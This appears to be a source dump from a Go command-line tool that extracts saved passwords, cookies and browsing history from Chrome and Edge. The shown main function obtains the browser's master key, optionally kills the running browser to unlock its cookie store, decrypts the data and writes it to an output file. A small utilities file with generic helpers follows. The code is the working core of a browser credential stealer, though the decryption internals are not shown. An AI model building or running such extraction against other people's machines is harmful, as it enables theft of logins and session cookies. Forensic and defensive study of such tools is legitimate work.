187 | 188 | rootCmd.AddCommand(runCmd) 189 | runCmd.AddCommand(passwordCmd) 190 | runCmd.AddCommand(cookieCmd) 191 | runCmd.AddCommand(historyCmd) 192 | rootCmd.AddCommand(devToolCmd) 193 | rootCmd.AddCommand(downloadCmd) 194 | } 195 | 196 | func runE(targetBrowser string, action string, masterKeyFile string, inputFileName string, outputFileName string, outputFormat string, kill bool) error { 197 | var browserInstance *browser.Browser 198 | switch targetBrowser { 199 | case item.Chrome: 200 | browserInstance = &browser.Browser{ 201 | MasterKeyFile: masterKeyFile, 202 | InputFile: inputFileName, 203 | Action: action, 204 | Util: &browser.ChromeUtil{}, 205 | } 206 | case item.Edge: 207 | browserInstance = &browser.Browser{ 208 | MasterKeyFile: masterKeyFile, 209 | InputFile: inputFileName, 210 | Action: action, 211 | Util: &browser.EdgeUtil{}, 212 | } 213 | default: 214 | log.Fatalf("invalid browser %s", targetBrowser) 215 | } 216 | if action == item.Cookie { 217 | // check if there is browser process 218 | killed, err := browserInstance.CheckBrowser(kill) 219 | if err != nil { 220 | if errors.Is(err, &browser.ChromeExistError{}) { 221 | log.Infof("Chrome process exist, cookie may cannot be parsed") 222 | } else { 223 | return err 224 | } 225 | } 226 | if killed { 227 | defer browserInstance.RestoreBrowser() 228 | } 229 | } 230 | browserInstance.InitPath() 231 | var masterKey []byte 232 | var err error 233 | if browserInstance.Action != item.History { 234 | masterKey, err = browserInstance.GetKey() 235 | if err != nil { 236 | return err 237 | } 238 | } 239 | tempInputFile, err := browserInstance.Download(browserInstance.InputFile) 240 | if err != nil { 241 | return err 242 | } 243 | defer os.Remove(tempInputFile) 244 | 245 | var dataManager data.IManager 246 | switch action { 247 | case item.Password: 248 | dataManager = &data.PasswordManager{ 249 | Manager: &data.Manager{ 250 | OutputFormat: outputFormat, 251 | OutputFileName: outputFileName, 252 | }, 253 | } 254 | case item.Cookie: 255 | dataManager = &data.CookieManager{ 256 | Manager: &data.Manager{ 257 | OutputFormat: outputFormat, 258 | OutputFileName: outputFileName, 259 | }, 260 | } 261 | case item.History: 262 | dataManager = &data.HistoryManager{ 263 | Manager: &data.Manager{ 264 | OutputFormat: outputFormat, 265 | OutputFileName: outputFileName, 266 | }, 267 | } 268 | } 269 | err = dataManager.Parse(masterKey, tempInputFile) 270 | if err != nil { 271 | return err 272 | } 273 | return dataManager.WriteData(browserInstance) 274 | } 275 | 276 | func main() { 277 | err := rootCmd.Execute() 278 | if err != nil { 279 | log.Error(err) 280 | os.Exit(0) 281 | } 282 | } 283 | -------------------------------------------------------------------------------- /utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "golang.org/x/exp/constraints" 5 | "path/filepath" 6 | "time" 7 | ) 8 | 9 | // Keys returns a slice of the keys of the map. based with go 1.18 generics 10 | func Keys[K comparable, V any](m map[K]V) []K { 11 | r := make([]K, 0, len(m)) 12 | for k := range m { 13 | r = append(r, k) 14 | } 15 | return r 16 | } 17 | 18 | func Reverse[T any](s []T) []T { 19 | h := make([]T, len(s)) 20 | for i := 0; i < len(s); i++ { 21 | h[i] = s[len(s)-i-1] 22 | } 23 | return h 24 | } 25 | 26 | func IntToBool[T constraints.Signed](a T) bool { 27 | switch a { 28 | case 0, -1: 29 | return false 30 | } 31 | return true 32 | } 33 | 34 | func TimeStamp(stamp int64) time.Time { 35 | s := time.Unix(stamp, 0) 36 | if s.Local().Year() > 9999 { 37 | return time.Date(9999, 12, 13, 23, 59, 59, 0, time.Local) 38 | } 39 | return s 40 | } 41 | 42 | func TimeEpoch(epoch int64) time.Time { 43 | maxTime := int64(99633311740000000) 44 | if epoch > maxTime { 45 | return time.Date(2049, 1, 1, 1, 1, 1, 1, time.Local) 46 | } 47 | t := time.Date(1601, 1, 1, 0, 0, 0, 0, time.Local) 48 | d := time.Duration(epoch) 49 | for i := 0; i < 1000; i++ { 50 | t = t.Add(d) 51 | } 52 | return t 53 | } 54 | 55 | func NormalizePath(path string) string { 56 | return filepath.Clean(filepath.ToSlash(path)) 57 | } 58 | --------------------------------------------------------------------------------